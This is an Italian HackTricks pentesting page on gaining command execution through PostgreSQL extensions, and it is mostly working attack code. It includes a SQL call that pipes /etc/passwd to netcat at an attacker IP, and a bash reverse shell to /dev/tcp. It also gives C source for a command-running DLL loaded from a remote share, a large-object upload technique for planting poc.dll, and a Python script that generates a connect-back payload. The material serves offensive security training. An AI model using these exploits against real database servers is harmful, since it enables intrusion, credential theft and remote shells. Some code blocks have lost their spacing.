Lavori in una azienda di sicurezza informatica? Vuoi vedere la tua azienda pubblicizzata su HackTricks? O vuoi avere accesso all'ultima versione di PEASS o scaricare HackTricks in PDF? Controlla i PACCHETTI DI ABBONAMENTO!
PostgreSQL è stato sviluppato con l'estensibilità come caratteristica principale, consentendo di integrare senza soluzione di continuità estensioni come se fossero funzionalità integrate. Queste estensioni, essenzialmente librerie scritte in C, arricchiscono il database con funzioni, operatori o tipi aggiuntivi.
A partire dalla versione 8.1, viene imposto un requisito specifico sulle librerie di estensione: devono essere compilati con un'intestazione speciale. Senza di essa, PostgreSQL non le eseguirà, garantendo l'utilizzo solo di estensioni compatibili e potenzialmente sicure.
L'esecuzione di comandi di sistema da PostgreSQL 8.1 e versioni precedenti è un processo che è stato chiaramente documentato ed è semplice. È possibile utilizzare questo: modulo Metasploit.
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECTsystem('cat /etc/passwd | nc <attacker IP> <attacker port>');# You can also create functions toopenand write filesCREATE OR REPLACEFUNCTIONopen(cstring, int, int) RETURNSintAS'/lib/libc.so.6', 'open'LANGUAGE'C' STRICT;CREATE OR REPLACEFUNCTIONwrite(int, cstring, int) RETURNSintAS'/lib/libc.so.6', 'write'LANGUAGE'C' STRICT;CREATE OR REPLACEFUNCTIONclose(int) RETURNSintAS'/lib/libc.so.6', 'close'LANGUAGE'C' STRICT;
Scrivi un file binario da base64
Per scrivere un file binario in postgres potrebbe essere necessario utilizzare base64, questo sarà utile per tale scopo:
CREATE OR REPLACEFUNCTIONwrite_to_file(fileTEXT, s TEXT) RETURNSintAS$$DECLAREfh int;s int;w bytea;i int;BEGINSELECTopen(textout(file)::cstring, 522, 448) INTO fh;IF fh <=2THENRETURN1;ENDIF;SELECT decode(s, 'base64') INTO w;i :=0;LOOPEXIT WHEN i >= octet_length(w);SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;IF rs <0THENRETURN2;ENDIF;i := i +1;ENDLOOP;SELECTclose(fh) INTO rs;RETURN0;END;$$ LANGUAGE'plpgsql';
Tuttavia, quando è stato tentato su versioni più recenti è stato mostrato il seguente errore:
ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic blockHINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
Per garantire che un file di oggetto caricato dinamicamente non venga caricato in un server incompatibile, PostgreSQL controlla che il file contenga un "blocco magico" con i contenuti appropriati. Ciò consente al server di rilevare incompatibilità evidenti, come il codice compilato per una versione principale diversa di PostgreSQL. Un blocco magico è richiesto a partire da PostgreSQL 8.2. Per includere un blocco magico, scrivi questo in uno (e solo uno) dei file di origine del modulo, dopo aver incluso l'intestazione fmgr.h:
#ifdef PG_MODULE_MAGICPG_MODULE_MAGIC;#endif
A partire dalla versione 8.2 di PostgreSQL, è stato reso più difficile per un attaccante sfruttare il sistema. L'attaccante deve utilizzare una libreria già presente nel sistema o caricare una libreria personalizzata. Questa libreria personalizzata deve essere compilata con la versione principale compatibile di PostgreSQL e deve includere un "blocco magico" specifico. Questa misura aumenta significativamente la difficoltà di sfruttare i sistemi PostgreSQL, poiché richiede una comprensione più approfondita dell'architettura del sistema e della compatibilità delle versioni.
Compilare la libreria
Ottieni la versione di PostgreSQL con:
SELECTversion();PostgreSQL 9.6.3on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.020170516, 64-bit
Per garantire la compatibilità, è essenziale che le versioni principali siano allineate. Pertanto, compilare una libreria con qualsiasi versione all'interno della serie 9.6.x dovrebbe garantire un'integrazione riuscita.
Quindi carica la libreria compilata ed esegui comandi con:
CREATEFUNCTIONsys(cstring) RETURNSintAS'/tmp/pg_exec.so','pg_exec'LANGUAGECSTRICT;SELECTsys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');#Notice the double single quotes are needed to scape the qoutes
Puoi trovare questa libreria precompilata per diverse versioni di PostgreSQL e puoi anche automatizzare questo processo (se hai accesso a PostgreSQL) con:
RCE in Windows
La seguente DLL prende in input il nome del binario e il numero di volte che desideri eseguirlo e lo esegue:
#include"postgres.h"#include<string.h>#include"fmgr.h"#include"utils/geo_decls.h"#include<stdio.h>#include"utils/builtins.h"#ifdefPG_MODULE_MAGICPG_MODULE_MAGIC;#endif/* Add a prototype marked PGDLLEXPORT */PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);PG_FUNCTION_INFO_V1(pgsql_exec);/* this function launches the executable passed in as the first parameterin a FOR loop bound by the second parameter that is also passed*/Datumpgsql_exec(PG_FUNCTION_ARGS){/* convert text pointer to C string */#defineGET_STR(textp) DatumGetCString(DirectFunctionCall1(textout,PointerGetDatum(textp)))/* retrieve the second argument that is passed to the function (an integer)that will serve as our counter limit*/int instances =PG_GETARG_INT32(1);for (int c =0; c < instances; c++) {/*launch the process passed in the first parameter*/ShellExecute(NULL,"open", GET_STR(PG_GETARG_TEXT_P(0)),NULL,NULL,1);}PG_RETURN_VOID();}
Puoi trovare la DLL compilata in questo zip:
Puoi indicare a questa DLL quale binario eseguire e il numero di volte da eseguirlo, in questo esempio eseguirà calc.exe 2 volte:
CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECTremote_exec('calc.exe',2);DROPFUNCTIONremote_exec(text,integer);
Nota come in questo caso il codice maligno è all'interno della funzione DllMain. Ciò significa che in questo caso non è necessario eseguire la funzione caricata in postgresql, basta caricare la DLL per eseguire la reverse shell:
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
RCE nelle versioni più recenti di PostgreSQL
Nelle ultime versioni di PostgreSQL sono state imposte delle restrizioni in cui l'utente superuser è proibito dal caricare file di librerie condivise, tranne che da specifiche directory, come ad esempio C:\Program Files\PostgreSQL\11\lib su Windows o /var/lib/postgresql/11/lib su sistemi *nix. Queste directory sono protette contro le operazioni di scrittura da parte degli account NETWORK_SERVICE o postgres.
Nonostante queste restrizioni, è possibile per un utente superuser autenticato scrivere file binari nel filesystem utilizzando "oggetti di grandi dimensioni" (large objects). Questa capacità si estende alla scrittura all'interno della directory C:\Program Files\PostgreSQL\11\data, che è essenziale per le operazioni di database come l'aggiornamento o la creazione di tabelle.
Una vulnerabilità significativa deriva dal comando CREATE FUNCTION, che permette la traversa delle directory nella directory dei dati. Di conseguenza, un attaccante autenticato potrebbe sfruttare questa traversa per scrivere un file di libreria condivisa nella directory dei dati e quindi caricarlo. Questo exploit consente all'attaccante di eseguire codice arbitrario, ottenendo l'esecuzione di codice nativo nel sistema.
Flusso dell'attacco
Prima di tutto è necessario utilizzare oggetti di grandi dimensioni per caricare il file dll. Puoi vedere come fare ciò qui:
Una volta caricata l'estensione (con il nome di poc.dll per questo esempio) nella directory dei dati, puoi caricarla con:
create function connect_back(text, integer) returns void as '../data/poc','connect_back' language C strict;select connect_back('192.168.100.54',1234);
Nota che non è necessario aggiungere l'estensione .dll poiché la funzione di creazione la aggiungerà.
Per ulteriori informazioni leggi lapubblicazione originale qui.
In quella pubblicazione questo era ilcodice utilizzato per generare l'estensione postgres (per imparare come compilare un'estensione postgres leggi una delle versioni precedenti).
Nella stessa pagina è stato fornito uno script per automatizzare questa tecnica:
#!/usr/bin/env python3import sysiflen(sys.argv)!=4:print("(+) usage %s <connectback> <port> <dll/so>"% sys.argv[0])print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll"% sys.argv[0])sys.exit(1)host = sys.argv[1]port =int(sys.argv[2])lib = sys.argv[3]withopen(lib, "rb")as dll:d = dll.read()sql ="select lo_import('C:/Windows/win.ini', 1337);"for i inrange(0, len(d)//2048):start = i *2048end = (i+1) *2048if i ==0:sql +="update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;"% (i, d[start:end].hex())else:sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())
if (len(d)%2048) !=0:end = (i+1) *2048sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())
sql +="select lo_export(1337, 'poc.dll');"sql +="create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;"sql +="select connect_back('%s', %d);"% (host, port)print("(+) building poc.sql file")withopen("poc.sql", "w")as sqlfile:sqlfile.write(sql)print("(+) run poc.sql in PostgreSQL using the superuser")print("(+) for a db cleanup only, run the following sql:")print(" select lo_unlink(l.oid) from pg_largeobject_metadata l;")print(" drop function connect_back(text, integer);")
Lavori in una azienda di sicurezza informatica? Vuoi vedere la tua azienda pubblicizzata su HackTricks? O vuoi avere accesso all'ultima versione di PEASS o scaricare HackTricks in PDF? Controlla i PACCHETTI DI ABBONAMENTO!